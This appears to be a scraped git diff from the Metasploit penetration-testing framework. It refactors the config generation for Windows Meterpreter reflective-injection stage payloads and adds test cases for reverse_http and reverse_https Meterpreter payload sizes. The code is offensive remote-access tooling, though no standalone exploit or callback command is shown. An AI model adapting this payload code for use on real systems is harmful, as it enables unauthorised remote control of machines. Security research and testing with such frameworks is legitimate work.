'Name' => 'Windows Meterpreter (Reflective Injection)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
|
||||
'Author' => ['skape','sf'],
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi'},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)],
|
||||
extensions: []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -8,7 +8,6 @@ require 'msf/core'
|
|||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -31,29 +30,4 @@ module MetasploitModule
|
|||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)],
|
||||
extensions: []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1697,6 +1697,28 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'mainframe/shell_reverse_tcp'
|
||||
end
|
||||
|
||||
context 'multi/meterpreter/reverse_http' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/multi/reverse_http',
|
||||
'stages/multi/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'multi/meterpreter/reverse_http'
|
||||
end
|
||||
|
||||
context 'multi/meterpreter/reverse_https' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/multi/reverse_https',
|
||||
'stages/multi/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'multi/meterpreter/reverse_https'
|
||||
end
|
||||
|
||||
context 'netware/shell/reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
|
@ -101,7 +101,8 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
|
|||
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
||||
'RC4PASSWORD' => 'Metasploit',
|
||||
'DNSZONE' => 'corelan.eu',
|
||||
'PEXEC' => '/bin/sh'
|
||||
'PEXEC' => '/bin/sh',
|
||||
'StagerURILength' => 5
|
||||
},
|
||||
'Encoder' => nil,
|
||||
'DisableNops' => true
|
||||
|
|
Loading…
Reference in New Issue